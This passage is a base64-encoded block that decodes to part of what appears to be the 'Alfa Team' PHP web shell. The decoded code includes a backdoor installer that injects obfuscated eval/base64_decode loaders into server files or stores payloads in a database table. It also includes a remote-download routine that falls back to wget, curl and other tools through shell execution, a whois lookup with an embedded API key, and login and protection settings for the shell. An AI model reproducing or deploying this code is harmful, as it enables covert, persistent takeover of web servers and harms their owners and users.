FTdHNXM2NtT0VaVlA3bEtXb2VzV0V3eHBsaWJXSGFxWEVPV3BtTW14T293Wm4xT1g1SDZWYzFKN3VIRHFvT25OSWMra1NZdzV6Vi9UaHZ2WFRBakZjeS9CeEpZWXlubFFYMWlNbTAvOHBSWFFnSXd1Y3BXRlVOSWZINEVYeGZ5Nm1OVCtibG1PLy8vZkJzYjFBOU5SY1M2VzVmLytBUT09JzsgIHJldHVybiAnZGF0YTppbWFnZS9wbmc7YmFzZTY0LCcuX19nZXRfcmVzb3VyY2UoJHNbJHJdKTsgIH0gIGZ1bmN0aW9uIGFsZmFpbmJhY2tkb29yKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBJbnN0YWxsIEJhY2tEb29yIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdpbmJhY2tkb29yXCcsbnVsbCxcJ2ZpbGVcJykiPnwgSW4gRmlsZSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdkYlwnKSI+fCBJbiBEYXRhQmFzZSB8IDwvYT48L2gzPjwvY2VudGVyPic7ICAkZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsgICRzdWNjZXNzPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5TdWNjZXNzLi4uISc7ICAkdGV4dGFyZWEgPSAiPGRpdiBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2JhY2tkb29yX3RleHRhcmVhJz48ZGl2IGNsYXNzPSd0eHRmb250Jz5Zb3VyIFNoZWxsOjwvZGl2PjxwPjx0ZXh0YXJlYSBuYW1lPSdzaGVsbCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PD9waHBcblx0ZWNobygnQWxmYSBUZWFtIGlzIEhlcmUuLi4hJyk7XG4/PjwvdGV4dGFyZWE+PC9wPjwvZGl2PiI7ICAkc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdpbkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0nYWxmYSc+QWxmYSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOyAgJGN3ZCA9ICdFeGFtcGxlOiAvaG9tZS9hbGZhL3B1YmxpY19odG1sL2luZGV4LnBocCc7ICBpZigkX1BPU1RbJ2FsZmExJ109PSdmaWxlJyl7ICBlY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9PGRpdiBjbGFzcz0ndHh0Zm9udCc+QmFja2Rvb3IgTG9hZGVyOjwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZScgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSd7JGN3ZH0nPiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5LZXk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0na2V5JyBzaXplPScxMCcgdmFsdWU9J2FsZmEnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+eyR0ZXh0YXJlYX08L2Zvcm0+PC9wPjwvY2VudGVyPiIpOyAgaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNCddIT0nJyl7ICAkbWV0aG9kID0gJF9QT1NUWydhbGZhMiddOyAgJGZpbGUgPSAkX1BPU1RbJ2FsZmEzJ107ICAkc2hlbGwgPSAkX1BPU1RbJ2FsZmE0J107ICAka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhNSddKSk7ICBpZigka2V5PT0nJykka2V5PSdhbGZhJzsgIGlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fSAgJGNvZGUgPSAnPD9waHAgaWYoaXNzZXQoJF9HRVRbImFsZmEiXSkmJiRfR0VUWyJhbGZhIl09PSInLiRrZXkuJyIpeyRmdW5jPSJjciIuImVhIi4idGVfIi4iZnVuIi4iY3Rpb24iOyR4PSRmdW5jKCJcJGMiLCJlIi4idiIuImFsIi4iKFwnPz5cJy5iYXNlIi4iNjQiLiJfZGVjIi4ib2RlKFwkYykpOyIpOyR4KCInLiRzaGVsbC4nIik7ZXhpdDt9Pz4nOyAgaWYoQGlzX2ZpbGUoJGZpbGUpJiZAaXNfd3JpdGFibGUoJGZpbGUpKXtAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvZGUuIlxuIi5AZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTtfX2FsZXJ0KCRzdWNjZXNzLiI8YnI+UnVuIFdpdGg6ICIuYmFzZW5hbWUoJGZpbGUpLiI/YWxmYT0iLiRrZXkuJzwvZm9udD4nKTt9ZWxzZXtfX2FsZXJ0KCRlcnJvcik7fX19ICBpZigkX1BPU1RbJ2FsZmExJ109PSdkYicpeyAgZWNobygiPGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBJbiBEYXRhQmFzZSB8PC9kaXY+PC9wPiIuZ2V0Q29uZmlnSHRtbCgnYWxsJykuIjxwPjxmb3JtIG9uc3VibWl0PVwiZygnaW5iYWNrZG9vcicsbnVsbCwnZGInLHRoaXMuZGJfaG9zdC52YWx1ZSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+Iik7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgJ3RkMicgPT4gIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgJ3RkMycgPT4gIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICd0ZDQnID0+ICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAndGQ1JyA9PiAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0JhY2tkb29yIExvYWRlcjogJywgJ2lucHV0TmFtZScgPT4gJ2ZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gJGN3ZCwgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwgICd0ZDYnID0+ICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnS2V5OiAnLCAnaW5wdXROYW1lJyA9PiAna2V5JywgJ2lucHV0VmFsdWUnID0+ICdhbGZhJywgJ2lucHV0U2l6ZScgPT4gJzUwJykgICk7ICBjcmVhdGVfdGFibGUoJHRhYmxlKTsgIGVjaG8oIjxwPnskc2VsZWN0fTwvcD4iKTsgIGVjaG8oJHRleHRhcmVhKTsgIGVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsgIGlmKCRfUE9TVFsnYWxmYTInXSE9JycmJiRfUE9TVFsnYWxmYTMnXSE9JycmJiRfUE9TVFsnYWxmYTUnXSE9JycmJiRfUE9TVFsnYWxmYTYnXSE9JycpeyAgJGRiaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsgICRkYnVzZXIgPSAkX1BPU1RbJ2FsZmEzJ107ICAkZGJwdyA9ICRfUE9TVFsnYWxmYTQnXTsgICRkYm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107ICAkZmlsZSA9ICRfUE9TVFsnYWxmYTYnXTsgICRtZXRob2QgPSAkX1BPU1RbJ2FsZmE3J107ICAkc2hlbGwgPSAkX1BPU1RbJ2FsZmE4J107ICAka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhOSddKSk7ICBpZigka2V5PT0nJykka2V5PSdhbGZhJzsgIGlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fSAgaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpeyAgJGNvZGUgPSAnPD9waHAgaWYoaXNzZXQoJF9HRVRbImFsZmEiXSkmJiRfR0VUWyJhbGZhIl09PSInLiRrZXkuJyIpeyRjb25uPW15c3FsaV9jb25uZWN0KCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYmhvc3QpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYnVzZXIpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYnB3KS4nIiwiJy5zdHJfcmVwbGFjZSgnIicsJ1wiJywkZGJuYW1lKS4nIik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gYWxmYV9iYyBMSU1JVCAwLDEiKTskcj1teXNxbGlfZmV0Y2hfYXNzb2MoJHEpOyRmdW5jPSJjciIuImVhIi4idGVfIi4iZnVuIi4iY3Rpb24iOyR4PSRmdW5jKCJcJGMiLCJlIi4idiIuImFsIi4iKFwnPz5cJy5iYXNlIi4iNjQiLiJfZGVjIi4ib2RlKFwkYykpOyIpOyR4KCRyWyJjb2RlIl0pO2V4aXQ7fT8+JzsgIGlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7ICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBhbGZhX2JjYCcpOyAgQG15c3FsaV9xdWVyeSgkY29ubiwnQ1JFQVRFIFRBQkxFIGBhbGZhX2JjYCAoY29kZSBMT05HVEVYVCknKTsgIEBteXNxbGlfcXVlcnkoJGNvbm4sJ0lOU0VSVCBJTlRPIGBhbGZhX2JjYCBWQUxVRVMoIicuJHNoZWxsLiciKScpOyAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7ICBfX2FsZXJ0KCRzdWNjZXNzLiI8YnI+UnVuIFdpdGg6ICIuYmFzZW5hbWUoJGZpbGUpLiI/YWxmYT0iLiRrZXkuJzwvZm9udD4nKTt9ZWxzZXtfX2FsZXJ0KCRlcnJvcik7fX19fSAgZWNobygnPC9kaXY+Jyk7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhd2hvaXMoKXtlY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2hvaXMgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ3dob2lzJyxudWxsLHRoaXMudXJsLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIj48ZGl2IGNsYXNzPSd0eHRmb250Jz5Vcmw6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXJsJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBzaXplPSc1MCcgcGxhY2Vob2xkZXI9J2dvb2dsZS5jb20nPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTtpZigkX1BPU1RbJ2FsZmEyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXskc2l0ZSA9IHN0cl9yZXBsYWNlKGFycmF5KCdodHRwOi8vJywnaHR0cHM6Ly8nLCd3d3cuJywnZnRwOi8vJyksJycsJF9QT1NUWydhbGZhMSddKTskdGFyZ2V0ID0gJ2h0dHA6Ly9hcGkud2hvYXBpLmNvbS8/YXBpa2V5PTA5M2I2Y2I5ZTZlYTcyNGUxMDE5Mjg2NDdkZjNlMDA5JnI9d2hvaXMmZG9tYWluPScuJHNpdGU7JGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7aWYoJGRhdGE9PScnKXskZ2V0ID0gbmV3IEFsZmFDVVJMKCk7JGdldC0+c3NsID0gdHJ1ZTskZGF0YSA9ICRnZXQtPlNlbmQoJHRhcmdldCk7fSR0YXJnZXQgPSBAanNvbl9kZWNvZGUoJGRhdGEsdHJ1ZSk7ZWNobyBfX3ByZSgpO2lmKGlzX2FycmF5KCR0YXJnZXQpKXtlY2hvKCR0YXJnZXRbIndob2lzX3JhdyJdKTt9ZWxzZXtlY2hvIGFsZmFFeCgid2hvaXMgIi4kc2l0ZSk7fX1lY2hvKCI8L2Rpdj4iKTt9ICBmdW5jdGlvbiBhbGZhcmVtb3RlZGwoKXthbGZhaGVhZCgpO2VjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBVcGxvYWQgRnJvbSBVcmwgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ3JlbW90ZWRsJyxudWxsLHRoaXMuZC52YWx1ZSx0aGlzLnAudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+PGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3AnIHNpemU9JzUwJyB2YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvcD48L2Zvcm0+PC9wPjwvY2VudGVyPiIpO2lmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhMyddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTMnXT09Jz4+Jyl7ZWNobyBfX3ByZSgpOyR1cmwgPSAkX1BPU1RbJ2FsZmExJ107JHBhdGggPSAkX1BPU1RbJ2FsZmEyJ107ZWNobygnPGNlbnRlcj4nKTtpZihfX2Rvd25sb2FkKCR1cmwsJHBhdGgpKXtlY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpO31lbHNle2VjaG8oJzxmb250IGNvbG9yPSJyZWQiPkVycm9yLi4uITwvZm9udD4nKTt9ZWNobygnPC9jZW50ZXI+Jyk7fWVjaG8oIjwvZGl2PiIpO2FsZmFmb290ZXIoKTt9ICBmdW5jdGlvbiBfX2Rvd25sb2FkKCR1cmwsJHBhdGg9ZmFsc2Upe2lmKCFwcmVnX21hdGNoKCIvW2Etel0rOlwvXC8uKy8iLCR1cmwpKSByZXR1cm4gZmFsc2U7JHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7aWYoJHBhdGgpeyRzYXZlYXM9JHBhdGguJHNhdmVhczt9aWYoJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkdXJsKSl7aWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTtpZihfX3dyaXRlX2ZpbGUoJHNhdmVhcywgJGNvbnRlbnQpKXtyZXR1cm4gdHJ1ZTt9fSRidWZmID0gYWxmYUV4KCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7aWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyRidWZmID0gYWxmYUV4KCJjdXJsICIuJHVybC4iIC1vICIuJHNhdmVhcyk7aWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyRidWZmID0gYWxmYUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTtpZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7JGJ1ZmYgPSBhbGZhRXgoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7aWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyRidWZmID0gYWxmYUV4KCJHRVQgIi4kdXJsLiIgPiAiLiRzYXZlYXMpO2lmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTskYnVmZiA9IGFsZmFFeCgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7aWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyRidWZmID0gYWxmYUV4KCJmZXRjaCAtbyAiLiRzYXZlYXMuIiAtcCAiLiR1cmwpO2lmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTtyZXR1cm4gZmFsc2U7fSAgZnVuY3Rpb24gY2xlYW5fc3RyaW5nKCRzdHJpbmcpe2lmKGZ1bmN0aW9uX2V4aXN0cygiaWNvbnYiKSl7JHMgPSB0cmltKCRzdHJpbmcpOyRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7fXJldHVybiAkczt9ICBmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXskY29udGVudCA9IGZhbHNlO2lmKCRmaCA9IEBmb3BlbigkZmlsZSwgInJiIikpeyRjb250ZW50ID0gIiI7d2hpbGUoIWZlb2YoJGZoKSl7JGNvbnRlbnQgLj0gJGJvb20gPyBjbGVhbl9zdHJpbmcoZnJlYWQoJGZoLCA4MTkyKSkgOiBmcmVhZCgkZmgsIDgxOTIpO319aWYoZW1wdHkoJGNvbnRlbnQpfHwhJGNvbnRlbnQpeyRjb250ZW50ID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTt9cmV0dXJuICRjb250ZW50O30gIGZ1bmN0aW9uIGFsZmFTZXR0aW5ncygpe2FsZmFoZWFkKCk7ZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTZXR0aW5ncyB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdtYWluXCcpIj58IEdlbmVyYWxsIFNldHRpbmcgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnY29sb3JcJykiPnwgQ2hhbmdlIENvbG9yIHwgPC9hPjwvaDM+PC9jZW50ZXI+JztpZigkX1BPU1RbImFsZmE4Il0gPT0gIm1haW4iKXtlY2hvICc8cD48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNldHRpbmdzIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9InJlbG9hZFNldHRpbmcodGhpcyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPic7JGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOyRwZW5jX2FycmF5ID0gYXJyYXkoJ2ZhbHNlJz0+J05vJywndHJ1ZSc9PidZZXMnKTskcHJvdGVjdF9odG1sID0gIiI7JGljb25faHRtbCA9ICIiOyRwb3N0RW5jX2h0bWwgPSAiIjskbG9naW5faHRtbCA9ICIiO2ZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJHByb3RlY3RfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ109PScxJz8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbC4nPC9vcHRpb24+Jztmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRpY29uX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ109PScxJz8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbC4nPC9vcHRpb24+Jztmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2FsZmE3J10pJiYkX1BPU1RbJ2FsZmE3J109PSRrZXk/InNlbGVjdGVkIjooX19BTEZBX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2FsZmE3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzskbGdfYXJyYXkgPSBhcnJheSgiZ3VpIj0+IkdVSSIsIjUwMCI9PiI1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIiwiNDAzIj0+IjQwMyBGb3JiaWRkZW4iLCI0MDQiPT4iNDA0IE5vdEZvdW5kIik7Zm9yZWFjaCgkbGdfYXJyYXkgYXMgJGtleT0+JHZhbCkkbG9naW5faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXT09JGtleT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbC4nPC9vcHRpb24+JztlY2hvICcnO2VjaG8gJzx0YWJsZSBib3JkZXI9IjEiPjx0Ym9keT48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlByb3RlY3Q6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwcm90ZWN0IiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJHByb3RlY3RfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UG9zdCBFbmNyeXB0aW9uOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icG9zdF9lbmNyeXB0IiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJHBvc3RFbmNfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+U2hvdyBJY29uczo8L2Rpdj48L3RkPjx0ZD48c2VsZWN0IG5hbWU9Imljb24iIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kaWNvbl9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2FsZmEzJ10pLiciIHBsYWNlaG9sZGVyPSJzb2xldmlzaWJsZSI+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UGFzc3dvcmQ6PC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo5NSU7IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IioqKioqIj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImUiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10uJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icyIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddLiciPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JztpZigkX1BPU1RbJ2FsZmE1J109PSc+Picpe2VjaG8gX19wcmUoKTtpZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7JHByb3RlY3QgPSAkX1BPU1RbJ2FsZmExJ107JGxncGFnZSA9ICRfUE9TVFsnYWxmYTInXTskdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmEzJ107JHBhc3N3b3JkID0gbWQ1KCRfUE9TVFsnYWxmYTQnXSk7JGljb24gPSAkX1BPU1RbJ2FsZmE2J107JHBvc3RfZW5jcnlwdCA9ICRfUE9TVFsnYWxmYTcnXTtAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOyRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7JGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTskZmluZF91c2VyID0gJy9cJ3VzZXJcJyguKj8pLC9pJzskZmluZF9wdyA9ICcvXCdwYXNzXCcoLio/KSwvaSc7JGZpbmRfbGcgPSAnL1wnbG9naW5fcGFnZVwnKC4qPyksL2knOyRmaW5kX3AgPSAnL1wnc2FmZW1vZGVcJyguKj8pLC9pJzskaWNvbnMgPSAnL1wnc2hvd19pY29uc1wnKC4qPyksL2knOyRwb3N0RW5jID0gJy9cJ3Bvc3RfZW5jcnlwdGlvblwnKC4qPyksL2knO2lmKCFlbXB0eSgkdXNlcm5hbWUpJiZwcmVnX21hdGNoKCRmaW5kX3VzZXIsJGRhdGEsJGUpKXskbmV3ID0gJ1wndXNlc